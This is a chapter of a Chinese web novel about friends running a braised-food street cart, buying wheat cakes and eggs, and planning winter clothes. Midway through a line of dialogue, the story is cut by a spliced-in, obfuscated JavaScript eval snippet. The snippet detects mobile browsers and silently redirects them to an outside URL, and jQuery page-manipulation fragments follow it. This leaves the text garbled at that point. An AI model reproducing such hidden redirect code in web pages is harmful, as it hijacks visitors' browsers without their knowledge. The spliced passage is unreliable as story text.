最后定下的一人每天先给五十文的工钱,等忙过半年,赚取的钱差不多能够盖过那推车和摊位费的价钱后,再开始一起平分。
摊子的生意因为紧靠着茶馆的缘故,生意还算是不错。
顾客不多的时候,大家稍微空闲的耳朵还能听见隔壁茶馆里面说书的声音。
不过也不是日日都有说书先生坐镇,阿桂算了算,大概每隔个五日,茶馆才会让说书先生过来。
或是说些八卦乡野闲谈,要么就是最近时兴的一些话本。
每到这个时候,不说茶馆,就连他们摊子上的生意也要格外好些。
等到卤煮推车的名声渐渐传出去的时候,已经是摆摊的第二十天了。
这段时间每日上门买东西的客人也渐渐稳定了下来,接待朱奕寒的菜摊和肉铺老板也渐渐都习惯了他每日定量买的这些东西。
每日早起买的菜要更加新鲜些,所以一般都是大家把推车摆好摊了后,他再带着篮子去买菜。
早上的客人不算多,阿桂和阿兰也能有余力帮着算一下帐。
只是这日准备回去的时候,豆腐坊的老板提前同他打了声招呼,“今日新作了豆油,要不要也买上一些回去?”
豆油虽然不比荤油,但寻常素菜里面拌上一些也会更好吃些。
手上余钱不够,又想要加点油水的人家多半都会选择来买豆油。
朱奕寒原本提步想要回去的动作闻言一顿,转过身去,“这豆油是怎么卖的?”
今天不是说书的日子,炒豆卖的没有前两日好,但好在梨糊和卤菜串串没有受到太大影响。
“等会中午准备吃些什么?”阿桂看了眼自己卤水锅里的东西,里面剩下的不多,估摸也就是些白萝卜、竹笋之类的东西。
也就只有七八串的量了。
“要不还是吃上次那家的麦饼吧?”都是在城北市集上摆摊,哪家好吃,哪家不好吃,菜头短短几天就已经打听了个门清。
他说的这家麦饼离自己摆摊的位置不算远,但生意却红火的厉害,每次到饭点的时候,都能瞧见他家摊子前面挤满了人。
明明周围也有不少卖麦饼的,但因为他家的味道最好,想要买点尝尝还总要排队。
“会不会有些贵了?”阿兰虽然手上也有了铜板,但还是克制不住的想要节俭些,“要不还是回去自己煮点杂炊粥喝吧?”
她一边提议,一边也踮脚往阿桂跟前的卤锅里瞧了一眼,“正好,这里还有些能配粥的菜呢。”
“还要喝粥啊?”菜头只是一听,就没忍住皱起了眉头,“算上今天早饭一起,都一连吃了快七天了。”
日日吃,顿顿吃,哪怕有卤串配着一起吃,那也吃的嘴巴都快淡出鸟来了。
不过话说是这么说,但没想到有一天,自己竟然还能挑剔糙米粥没味道。”
菜头心里虽然感慨,但嘴巴却没停下,继续撺掇道:“不贵不贵,我们不买三文的肉馅就好,这不是还有两文的豆馅和一文的咸味麦饼嘛!”
他一边说,一边还下意识指了指那家麦饼摊子。
“老朱呢?买菜还没回来呢?”
那家麦饼用的也是一样的四轮推车,但因为做麦饼的缘故,所以还专门定制了个位置来放那敞口的大泥炉子,炉壁被里面的炭火烤的通红,被摊的圆圆的饼子贴在上面满满烤熟。
一人熟练的抻完面饼后就抹一点水,‘啪’的一下粘在炉壁上。
一人则是熟练的拿着钳子去夹那做好的麦饼,刚出炉子还是烫的,一拿出来就能闻到那股好闻的麦香味。
炉子够大,麦饼烤的也快,之前忙不过来的时候买了两个一直等到彻底放凉了才有空吃上。
虽然味道不错,但也还是趁热吃更好吃。
“应该是路上有什么事情给耽误了吧……”,寻常这个时候确实都已经回来了。
正好这时有风从那边摊子吹过来,带着那刚出炉的麦香味一起——阿兰到底没抵抗住撺掇,“那就买最便宜的咸味麦饼尝尝吧。”
“记得给朱大哥也买一个。”
正好卤水锅子底下的炭火还没熄灭,贴着边放着也能帮着保温。
只是不能放的太久,不然干巴巴的吃着就不好吃了。
这个时间午饭的点已经快过去了,麦饼摊子前面人多但也没有那么的多。
略略排过前面的三四个人后,很快就轮到了菜头。
刚出炉的烧饼用油纸包着,哪怕隔着纸也有些滚烫,一口下去外皮酥脆还混合着芝麻的焦香。
哪怕这次要的是没有放馅料的咸味烧饼,但店家也在面团里面混了些晒好的菜干,一口下去就让人忍不住眯起了眼睛。
就算不是肉馅的,也确实是好吃。
短短几步路,他就把自己的那份给吃了个大半,等好不容易到了自家摊子上,才忙不迭的把剩下的几份给递了过去。
“快,趁热吃,还是刚出锅最热乎的时候好吃。”
就是烫嘴。
他一边说,一边没忍住用嘴巴舌头一起‘炒了个菜’。
阿兰看不下去,从推车底下的柜子里面取出了一个大竹筒,“菜头哥,你慢些吃。”
倒了些竹筒里的凉水出来,“喝点水压一压吧。”
“嗯嗯,”也就最后两三口了,菜头一大口直接解决完了,这才伸手接过了阿兰递过来的水,“还是阿兰细心。”
竹筒里面装着的是早上出门前就烧好放凉的水。
之前住在桥洞底下的时候也没见老朱这么讲究,反倒是现在能用上柴火了,他就让大家只喝这烧开过的水。
菜头就着碗呷了一大口,反正就他说,生水也好,还是这烧开的水也好,喝着都是一个味道。
不过既然老朱这么说了,他前几天还是又把屋子里的那个小灶台给改进了一下。
旁边多给砌出了个能受热的小口子,大小正好能放个烧水用的小锅。
这样中间大锅做饭做得了,一旁小锅里面的水也烧开能喝了。
就像那天阿桂说的——什么来着?
一柴两用?!好像有点不一样,但反正差不多是这么个意思。
他吃完了麦饼,正好把阿桂替换下来,让两小只坐在后面的凳子上吃东西,自己正好站在前面看着那没有卖完的卤水锅子。
前脚刚送走了一个买卤菜串串的客人,后脚就看见老朱提着个大大的篮子过来了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024766|194345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么才回来?”
“回来路上瞧见有卖便宜鸡蛋的,顺路就也买了几个回来。”
虽说现在的日子好过了,但也没机会大鱼大肉的吃着,鸡蛋算是半个荤菜,不管是煎炸煮炒都很好吃。
就算这些花样都没时间准备,那拿打好的鸡蛋随便用热水一冲,随意往里面加糖还是加盐也好,最后冲出来的鸡蛋汤滋味都还不错。
要不是现在租的房子没有院子,也没人能留在家里帮着看着,朱奕寒多少也要买上两只鸡在家里给仔细养着。
好在最近手头宽裕了,碰上像这次一文钱一个的鸡蛋也能买上三四个回来,大家一起解解馋。
“然后想着正好家里的米不多了,盐、油都还要再添一点,就顺路一起都买了些回来。”
然后不知不觉就买到这个时候了,好在没耽误什么事。
把胳膊上挎着的那沉甸甸篮子给放下来,朱奕寒下意识的长出一口气。
可算是能松快一下了。
偏偏这里面还放了鸡蛋,他路上想要停下来歇歇,都怕其余的东西会把鸡蛋给撞坏,最后也只能咬着牙这么一路撑着走回来了。
下次可不能再一口气买这么多东西了,废人。
“回来的正好,刚刚买回来的麦饼还是热乎着的,拿着快些吃吧。”菜头招呼着,“这边也就剩两串萝卜,老朱你拿着一起吃了算了,我们差不多也该收摊回去了。”
下午还要忙活着备第二天的菜呢。
朱奕寒咬了口麦饼,顺手接过递来的那两串萝卜,连带一起擦擦脑门上的汗,“也行。”
一边吃,一边问,“今天破庙那边有人过来帮忙吗?”
这段时间大家手上的银钱也都跟着变宽裕了,原本不大的屋子里,时常也能看到些新买的锅碗瓢盆。
有些东西朱奕寒一时没想到,结果扭头就瞧见阿兰阿桂或是菜头就买回来了。
也算是别样的一种默契了。
“刚刚才过来了三四个帮着一起打水清洗了竹筒,走之前也分了些炒豆子和米面给他们。”
米面不便宜,自家没有地,那就只能买米吃。
粳米虽然不是买不起,但时下像他们这样的人最常吃的还是陈米和糙米。两者之间,朱奕寒还是选择了糙米。
虽然时不时还能吃到些没脱完的谷壳或是小石粒,但好歹是有米香味的,不像陈米,吃着有些发柴。
除了糙米之外,朱奕寒这一趟还买了些便宜的豆子,除了黄豆之外还有红豆、绿豆,掺着糙米一起煮着吃,除了顶饱外也能吃的更久些。
买的多,但架不住系统返现的更多。
破庙那边三不五时有人过来帮忙,不管老人还是小孩,他都给塞了些让着一起带回去。
想来今年冬天的日子应当要比往年更好过些。
他几口吃完了麦饼,这才站起身来锤了锤有些酸疼的胳膊,“那就先把摊子收了吧。”
“这段时间也忙的厉害,等再过几天就要入冬了。咱们现在身上穿着的衣服还是有些单薄,等会下午把东西收拾的差不多了,大家正好一起再去趟布坊。”
“该添置的冬衣,最好也都趁着现在空闲的时候一起给添置了。”